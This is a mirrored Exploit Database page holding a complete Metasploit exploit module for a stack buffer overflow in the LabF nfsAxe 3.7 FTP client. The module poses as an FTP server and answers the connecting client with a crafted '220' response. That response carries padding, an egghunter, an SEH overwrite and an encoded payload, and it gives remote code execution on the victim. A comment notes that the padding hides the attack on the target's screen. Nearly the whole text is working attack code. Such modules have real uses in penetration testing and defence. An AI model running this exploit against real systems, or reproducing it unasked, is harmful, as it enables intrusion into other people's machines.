LabF nfsAxe 3.7 FTP Client – Stack Buffer Overflow (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2018-01-11
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/43518/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::Seh
  include Msf::Exploit::Remote::Egghunter
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow',
  'Description'=> %q{
  This module exploits a buffer overflow in the LabF nfsAxe 3.7 FTP Client allowing remote
  code execution.
  },
  'Author' =>
  [
  'Tulpa', # Original exploit author
  'Daniel Teixeira'# MSF module author
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'EDB', '42011' ]
  ],
  'Payload'=>
  {
  'BadChars' => "\x00\x0a\x10",
  },
  'Platform' => 'win',
  'Targets'=>
  [
  # p/p/r in wcmpa10.dll
  [ 'Windows Universal', {'Ret' => 0x6801549F } ]
  ],
  'Privileged' => false,
  'DefaultOptions' =>
  {
  'SRVHOST' => '0.0.0.0',
  },
  'DisclosureDate' => 'May 15 2017',
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ])
  ])
  end
  
  def exploit
  srv_ip_for_client = datastore['SRVHOST']
  if srv_ip_for_client == '0.0.0.0'
  if datastore['LHOST']
  srv_ip_for_client = datastore['LHOST']
  else
  srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
  end
  end
  
  srv_port = datastore['SRVPORT']
  
  print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
  super
  end
  
  def on_client_connect(client)
  return if ((p = regenerate_payload(client)) == nil)
  print_status("#{client.peerhost} - connected.")
  
  res = client.get_once.to_s.strip
  print_status("#{client.peerhost} - Request: #{res}") unless res.empty?
  print_status("#{client.peerhost} - Response: Sending 220 Welcome")
  welcome = "220 Welcome.\r\n"
  client.put(welcome)
  
  res = client.get_once.to_s.strip
  print_status("#{client.peerhost} - Request: #{res}")
  print_status("#{client.peerhost} - Response: sending 331 OK")
  user = "331 OK.\r\n"
  client.put(user)
  
  res = client.get_once.to_s.strip
  print_status("#{client.peerhost} - Request: #{res}")
  print_status("#{client.peerhost} - Response: Sending 230 OK")
  pass = "230 OK.\r\n"
  client.put(pass)
  res = client.get_once.to_s.strip
  print_status("#{client.peerhost} - Request: #{res}")
  
  eggoptions = { :checksum => true }
  hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
  
  # "\x20"s are used to make the attack less obvious
  # on the target machine's screen.
  sploit = "220 \""
  sploit << "\x20"*(9833 - egg.length)
  sploit << egg
  sploit << generate_seh_record(target.ret)
  sploit << hunter
  sploit << "\x20"*(576 - hunter.length)
  sploit << "\" is current directory\r\n"
  
  print_status("#{client.peerhost} - Request: Sending the malicious response")
  client.put(sploit)
  
  end
  end